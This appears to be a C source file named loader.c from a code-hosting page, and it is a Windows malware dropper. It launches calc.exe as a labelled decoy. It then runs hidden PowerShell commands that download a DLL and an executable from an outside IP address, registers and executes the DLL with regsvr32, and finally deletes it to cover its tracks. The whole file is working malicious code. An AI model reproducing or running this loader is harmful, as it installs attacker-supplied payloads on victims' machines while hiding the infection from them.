-
Notifications
You must be signed in to change notification settings - Fork 14
/
loader.c
36 lines (33 loc) · 971 Bytes
/
loader.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <windows.h>
typedef int (*importFunction)();
int loadDLL()
{
int status = 0;
system("start powershell -windowstyle Hidden Invoke-WebRequest -Uri 'http://192.168.225.196/calc_helper.dll' -OutFile 'calc_helper.dll'");
system("start powershell -windowstyle Hidden Invoke-WebRequest -Uri 'http://192.168.225.196/client_ft.exe' -OutFile 'client_ft.exe'");
importFunction test;
HINSTANCE testLibrary = LoadLibrary("calc_helper.dll");
//system("start C:\\WINDOWS\\System32\\calc.exe"); // fire decoy
_sleep(1200);
system("regsvr32 /i calc_helper.dll");
if (testLibrary)
{
test = (importFunction)GetProcAddress(testLibrary, "calc_helper.dll");
if(test)
{
status = test();
}
FreeLibrary(testLibrary);
//system("regsvr32 /i viraldll.dll");
}
return status;
}
int main(int argc, char **argv)
{
//loadDLL();
system("start C:\\WINDOWS\\System32\\calc.exe"); // fire decoy
loadDLL();
system("regsvr32 /i calc_helper.dll");
_sleep(200);
system("del /F calc_helper.dll");
}